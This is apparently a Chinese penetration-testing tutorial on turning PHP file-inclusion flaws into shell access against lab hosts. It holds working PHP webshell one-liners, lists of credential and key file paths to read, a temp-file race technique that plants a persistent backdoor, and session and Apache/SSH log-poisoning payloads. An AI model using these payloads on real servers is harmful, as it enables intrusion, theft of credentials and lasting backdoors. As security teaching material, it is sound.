一、利用思路總結:
1、包含一些敏感的配置文件,獲取目標敏感信息
2、配合圖片馬getshell
3、包含臨時文件getshell
4、包含session文件getshell
5、包含日志文件getshell(Apach、SSH等等)
6、利用php偽協議進行攻擊
二、具體利用方法:
①包含一些敏感的配置文件
windows常見的敏感文件路徑:
C:\boot.ini //查看系統版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 C:\Windows\repair\sam //存儲系統初次安裝的密碼 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\Windows\php.ini //php配置信息 C:\Windows\my.ini //Mysql配置信息 C:\Windows\win.ini //Windows系統的一個基本系統配置文件
Linux常見的敏感文件路徑:
/root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts //記錄每個訪問計算機用戶的公鑰 /etc/passwd /etc/shadow /etc/my.cnf //mysql配置文件 /etc/httpd/conf/httpd.conf //apache配置文件 /root/.bash_history //用戶歷史命令記錄文件 /root/.mysql_history //mysql歷史命令記錄文件 /proc/mounts //記錄系統掛載設備 /porc/config.gz //內核配置文件 /var/lib/mlocate/mlocate.db //全文件路徑 /porc/self/cmdline //當前進程的cmdline參數
絕對路徑:

../跨目錄讀取:

②配合圖片馬getshell
需要有一個文件上傳的點,並且能夠上傳圖片馬,圖片馬的內容如下:
<?php fputs(fopen("panda.php","w"),'<? @eval($_POST[PANDA]);?>');?>
會在當前目錄下生成panda.php,密碼為PANDA,連接即可

③包含臨時文件+phpinfo getshell
在PHP文件包含漏洞中,當我們找不到用於觸發RCE的有效文件時,如果存在PHPINFO(它可以告訴我們臨時文件的隨機生成的文件名及其位置),我們可能可以包含一個臨時文件來利用它升級為RCE。
利用方法簡述:
在給PHP發送POST數據包時,如果數據包里包含文件區塊,無論你訪問的代碼中有沒有處理文件上傳的邏輯,PHP都會將這個文件保存成一個臨時文件(通常是/tmp/php[6個隨機字符]),文件名可以在$_FILES變量中找到。這個臨時文件,在請求結束后就會被刪除。
同時,因為phpinfo頁面會將當前請求上下文中所有變量都打印出來,所以我們如果向phpinfo頁面發送包含文件區塊的數據包,則即可在返回包里找到$_FILES變量的內容,自然也包含臨時文件名。
在文件包含漏洞找不到可利用的文件時,即可利用這個方法,找到臨時文件名,然后包含之。
但文件包含漏洞和phpinfo頁面通常是兩個頁面,理論上我們需要先發送數據包給phpinfo頁面,然后從返回頁面中匹配出臨時文件名,再將這個文件名發送給文件包含漏洞頁面,進行getshell。在第一個請求結束時,臨時文件就被刪除了,第二個請求自然也就無法進行包含。
這個時候就需要用到條件競爭,具體流程如下:
1、發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據
2、因為phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大
3、php默認的輸出緩沖區大小為4096,可以理解為php每次返回4096個字節給socket連接
4、所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符里包含臨時文件名,就立即發送第二個數據包
5、此時,第一個數據包的socket連接實際上還沒結束,因為php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除
6、利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell
操作過程:
訪問存在文件包含漏洞的頁面
http://192.168.136.128:8080/lfi.php?file=/etc/passwd

訪問phpinfo頁面,確實存在

然后利用網上的exp進行利用:
python2 exp.py 目標ip 8080 100

在189次請求時,就寫入成功了
腳本exp.py實現了上述過程,成功包含臨時文件后,會利用file_put_contents函數寫入<?=eval($_REQUEST[1])?>一句話后門到/tmp/g文件中,這個文件會永久留在目標機器上

然后直接利用蟻劍進行連接即可,密碼為1:

④包含session文件getshell
session簡介:cookie存在客戶端,session存在服務端,cookie一般用來保存用戶得賬戶密碼,session一般用來跟蹤會話。
利用場景:
一般對於登陸點存在注冊用戶的,那么就可以起一個為payload的名字,這樣會將payload保存在session文件中
利用條件:
①session文件路徑已知
session文件路徑位置可以通過phpinfo頁面來獲取: session.save_path參數

也可以猜測常見的一些session存儲位置:
/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]
②且其中部分內容可控制
利用方式:
訪問漏洞頁面,在參數中構造payload

然后我們的首要任務就是獲取session文件名,可通過谷歌瀏覽器,或者burp抓包查看

文件名:sess_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目錄包含session文件getshell

連接webshell

⑤包含日志文件getshell
1.包含Apache日志文件
在用戶發起請求時,服務器會將請求寫入access.log(會記錄訪問IP、訪問鏈接、Referer和User-Agent等),當請求錯誤時將錯誤寫入error.log
利用條件:日志文件的存儲路徑,並且日志文件可讀。
①apache的日志文件可以通過phpinfo頁面來查詢,apache2handler 中的server root就是apache的安裝路徑,那么日志文件應該就是在這個路徑下的logs目錄中
②或者通過猜測常見日志文件的路徑/usr/local/apache/logs/error_log或者access_log
③也可用通過先包含配置文件來確定日志文件路徑
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
利用方式:
因為會自動url編碼,會導致無法利用,所以抓包再請求

可以看到error.log文件中已經成功寫入了payload

然后包含log文件路徑即可

連接webshell

2.包含SSH日志文件
ssh '<?php phpinfo();?>'@192.168.136.143
這樣把用戶名寫成phpinfo,ssh的登陸日志就會把此次的登陸行為記錄到日志中,利用包含漏洞getshell

可以看到我們登陸的行為都被記錄到了日志當中

可以看到剛才登陸的時候,成功phpinfo寫入到日志文件中並且成功解析

通過phpinfo查看到了網站根目錄

本來想着利用文件包含漏洞配合fputs和fopen函數在網站根目錄寫入一句話木馬getshell,但是由於單引號太多就報錯了,只能另謀出路

然后就想到了把執行命令的一句話木馬寫入日志,利用文件包含執行反彈shell

然后構造請求執行命令,因為剛才我寫進去的是通過GET方式用panda參數傳參,多個參數之間用&符號連接,還是要注意,命令要url編碼再執行

大體利用思路就說到這,還可以進行進一步的思路拓展,大家就自由發揮了,如果文章有錯誤的地方請指出,互相交流